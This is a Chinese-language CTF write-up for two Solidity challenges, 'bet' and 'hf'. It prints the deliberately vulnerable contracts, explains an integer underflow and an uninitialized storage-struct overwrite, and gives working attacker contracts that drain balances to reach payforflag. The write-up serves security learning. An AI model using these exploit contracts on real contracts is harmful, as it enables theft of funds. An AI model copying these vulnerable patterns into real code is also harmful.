bet
1. question
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| pragma solidity ^0.4.24;
contract bet { uint secret; address owner; mapping(address => uint) public balanceOf; mapping(address => uint) public gift; mapping(address => uint) public isbet; event SendFlag(string b64email); function Bet() public{ owner = msg.sender; } function payforflag(string b64email) public { require(balanceOf[msg.sender] >= 100000); balanceOf[msg.sender]=0; owner.transfer(address(this).balance); emit SendFlag(b64email); }
//to fuck modifier only_owner() { require(msg.sender == owner); _; } function setsecret(uint secretrcv) only_owner { secret=secretrcv; } function deposit() payable{ uint geteth=msg.value/1000000000000000000; balanceOf[msg.sender]+=geteth; } function profit() { require(gift[msg.sender]==0); gift[msg.sender]=1; balanceOf[msg.sender]+=1; } function betgame(uint secretguess){ require(balanceOf[msg.sender]>0); balanceOf[msg.sender]-=1; if (secretguess==secret) { balanceOf[msg.sender]+=2; isbet[msg.sender]=1; } } function doublebetgame(uint secretguess) only_owner{ require(balanceOf[msg.sender]-2>0); require(isbet[msg.sender]==1); balanceOf[msg.sender]-=2; if (secretguess==secret) { balanceOf[msg.sender]+=2; } }
}
|
📌 成功调用payforflag()
2. analysis
要求是require(balanceOf[msg.sender] >= 100000);
调用者的balance大于100000,很显然这里需要溢出。直接看到两个bet
相关的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| function betgame(uint secretguess){ require(balanceOf[msg.sender]>0); balanceOf[msg.sender]-=1; if (secretguess==secret) { balanceOf[msg.sender]+=2; isbet[msg.sender]=1; } }
function doublebetgame(uint secretguess) only_owner{ require(balanceOf[msg.sender]-2>0); require(isbet[msg.sender]==1); balanceOf[msg.sender]-=2; if (secretguess==secret) { balanceOf[msg.sender]+=2; } }
|
不难看出doublebetgame()
中的require(balanceOf[msg.sender]-2>0)
明显有着下溢的可能,且balanceOf[msg.sender]-=2;
具备了下溢的条件。所以成功,但是不能进入if
语句,因为一旦进入if
balance会被恢复,那将是前功尽弃。至于betgame()
则是可以帮忙实现isbet[msg.sender]==1
,同时满足 -2
发生溢出的条件,即才对一次再故意输掉一次。
3. solve
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| contract Hacker {
bet bet_;
constructor(address _bet) public { bet_ = bet(_bet); }
function attack() public { bet_.Bet(); // 成为owner bet_.setsecret(9999); // 设置密码 bet_.profit(); // 获取空投 bet_.betgame(9999); // 将isbet[msg.sender]变为1 bet_.betgame(6666); // 故意输钱 bet_.doublebetgame(6666); // 发生下溢 bet_.payforflag("hacker"); }
function() external payable{} }
|
/image-20230823210821916.png)
hf
1. question
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| pragma solidity ^0.4.24;
contract hf { address secret; uint count; address owner; mapping(address => uint) public balanceOf; mapping(address => uint) public gift; struct node { address nodeadress; uint nodenumber; } node public node0; event SendFlag(string b64email); constructor()public{ owner = msg.sender; } function payforflag(string b64email) public { require(balanceOf[msg.sender] >= 100000); balanceOf[msg.sender]=0; owner.transfer(address(this).balance); emit SendFlag(b64email); }
//to fuck modifier onlySecret() { require(msg.sender == secret); _; } function profit() public{ require(gift[msg.sender]==0); gift[msg.sender]=1; balanceOf[msg.sender]+=1; } function hfvote() public payable{ uint geteth=msg.value/1000000000000000000; balanceOf[msg.sender]+=geteth; } function ubw() public payable{ if (msg.value < 2 ether) { node storage n = node0; n.nodeadress=msg.sender; n.nodenumber=1; } else { n.nodeadress=msg.sender; n.nodenumber=2; } } function fate(address to,uint value) public onlySecret { require(balanceOf[msg.sender]-value>=0); balanceOf[msg.sender]-=value; balanceOf[to]+=value; } }
|
📌 成功调用payforflag()
2. analysis
要求require(balanceOf[msg.sender] >= 100000);
有溢出漏洞的函数只有fate
,分析fate
1 2 3 4 5
| function fate(address to,uint value) public onlySecret { require(balanceOf[msg.sender]-value>=0); balanceOf[msg.sender]-=value; balanceOf[to]+=value; }
|
很明显的下溢漏洞balanceOf[msg.sender]-=value
,但要成为secret
,看到ubw
函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| function ubw() public payable{ if (msg.value < 2 ether) { node storage n = node0; n.nodeadress=msg.sender; n.nodenumber=1; } else { n.nodeadress=msg.sender; n.nodenumber=2; } }
|
只要通过esle
中进去,就可以覆盖掉原来的secret
变量,这样就成为secret
了。
3. solve
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| contract Hacker {
hf _hf;
constructor(address hf_) public { _hf = hf(hf_); }
function attack() public payable { _hf.ubw.value(2 ether)(); // 覆盖 secret,并成为secret _hf.fate(msg.sender, 1); // 发生下溢 _hf.payforflag("hacker"); }
function() external payable{} }
|
/image-20230823220049677.png)
总结
简单的溢出和低版本合约中的结构体内存覆盖。